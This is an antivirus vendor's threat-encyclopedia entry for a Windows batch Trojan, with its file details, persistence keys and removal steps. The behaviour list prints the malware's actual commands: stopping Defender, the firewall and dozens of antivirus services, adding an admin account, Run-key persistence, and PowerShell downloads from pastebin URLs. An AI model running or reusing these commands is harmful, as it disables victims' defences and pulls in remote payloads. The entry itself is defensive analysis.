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Trojan.BAT.KEKPOP.YXCEST

June 10, 2022
 Analysis by: Nathaniel Gregory Ragasa
 ALIASES:

BV:Obfuscated-F [Cryp](AVAST), Trojan.BAT.Agent(IKARUS)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

75,275 bytes

File Type:

BAT

Memory Resident:

No

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Profile%\Documents\black.bat

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • attrib +h +s {Malware Filename}.bat
  • cmd.exe
  • %System%\cmd.exe /K black.bat
  • powershell -command "Set-ExecutionPolicy Unrestricted"
  • %System%\scrnsave.scr /s
  • net localgroup administrators session /ADD
  • %System%\net1 localgroup administrators session /ADD
  • reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_26556_toolbar" /t "REG_SZ" /d {Malware Filename}.bat /f
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
  • reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  • RUNDLL32 USER32.DLL SwapMouseButton
  • net stop "WinDefend"
  • taskkill /f /t /im "MSASCui.exe"
  • net stop "wuauserv"
  • net stop "security center"
  • net stop sharedaccess
  • netsh firewall set opmode mode-disable
  • net stop "Security Center" /y
  • net stop "Automatic Updates" /y
  • net stop "Symantec Core LC" /y
  • net stop "SAVScan" /y
  • net stop "norton AntiVirus Firewall Monitor Service" /y
  • net stop "norton AntiVirus Auto-Protect Service" /y
  • net stop "norton AntiVirus Auto Protect Service" /y
  • net stop "McAfee Spamkiller Server" /y
  • net stop "McAfee Personal Firewall Service" /y
  • net stop "McAfee SecurityCenter Update Manager" /y
  • net stop "Symantec SPBBCSvc" /y
  • net stop "Ahnlab Task Scheduler" /y
  • net stop navapsvc /y
  • net stop "Sygate Personal Firewall Pro" /y
  • net stop vrmonsvc /y
  • net stop MonSvcNT /y
  • net stop SAVScan /y
  • net stop NProtectService /y
  • net stop ccSetMGR /y
  • net stop ccEvtMGR /y
  • net stop srservice /y
  • net stop "Symantec Network Drivers Service" /y
  • net stop "norton Unerase Protection" /y
  • net stop MskService /y
  • net stop MpfService /y
  • net stop mcupdmgr.exe /y
  • net stop "McAfeeAntiSpyware" /y
  • net stop helpsvc /y
  • net stop ERSvc /y
  • net stop "*norton*" /y
  • net stop "*Symantec*" /y
  • net stop "*McAfee*" /y
  • net stop ccPwdSvc /y
  • net stop "Serv-U" /y
  • net stop "norton AntiVirus Client" /y
  • net stop "Symantec AntiVirus Client" /y
  • net stop "norton AntiVirus Server" /y
  • net stop "NAV Alert" /y
  • net stop "Nav Auto-Protect" /y
  • net stop "McShield" /y
  • net stop "DefWatch" /y
  • net stop eventlog /y
  • net stop InoRPC /y
  • net stop InoRT /y
  • net stop InoTask /y
  • net stop "norton AntiVirus Corporate Edition" /y
  • net stop "ViRobot Professional Monitoring" /y
  • net stop "PC-cillin Personal Firewall" /y
  • net stop "Trend Micro Proxy Service" /y
  • net stop "Trend NT Realtime Service" /y
  • net stop "McAfee.com McShield" /y
  • net stop "McAfee.com VirusScan Online Realtime Engine" /y
  • net stop "SyGateService" /y
  • net stop "Sophos Anti-Virus" /y
  • net stop "Sophos Anti-Virus Network" /y
  • net stop "eTrust Antivirus Job Server" /y
  • net stop "eTrust Antivirus Realtime Server" /y
  • net stop "eTrust Antivirus RPC Server" /y
  • net stop netsvcs
  • %System%\net1 stop netsvcs
  • net stop spoolnt
  • %System%\net1 stop spoolnt
  • tskill iexplore
  • tskill msnmsgr
  • tskill excel
  • tskill iTunes
  • tskill calc
  • tskill msaccess
  • tskill safari
  • tskill mspaint
  • tskill outlook
  • tskill WINWORD
  • powershell -Command "Invoke-WebRequest https://pastebin.com/raw/4BDAd47i -outfile cynlog.cmd"
  • powershell -Command "Invoke-WebRequest https://pastebin.com/raw/Ug8uFJ4Y -outfile "
  • %System%\WScript.exe "%User Profile%\loveletter.vbs" → Detected as Worm.VBS.MASSMAIL.YXCEST
  • %System%\WScript.exe "%User Profile%\mail.vbs" → Detected as Worm.VBS.MASSMAIL.YXCEST
  • powershell -Command "Invoke-WebRequest https://pastebin.com/raw/Qt3ADbcj -outfile YcynNote.txt"
  • xcopy /e /y {Malware Filename}.bat D:\
  • xcopy /e /y {Malware Filename}.bat E:\
  • xcopy /e /y {Malware Filename}.bat F:\
  • xcopy /e /y {Malware Filename}.bat G:\
  • xcopy /e /y {Malware Filename}.bat H:\
  • xcopy /e /y {Malware Filename}.bat %User Profile%

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
rundll32_26556_toolbar = {Malware Filename}.bat

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\.bat

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.618.04

FIRST VSAPI PATTERN DATE:

10 Jun 2022

VSAPI OPR PATTERN File:

17.619.00

VSAPI OPR PATTERN Date:

11 Jun 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • rundll32_26556_toolbar = {Malware Filename}.bat
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • AVAADA = %Windows%\.bat

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Profile%\Documents\black.bat

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.KEKPOP.YXCEST. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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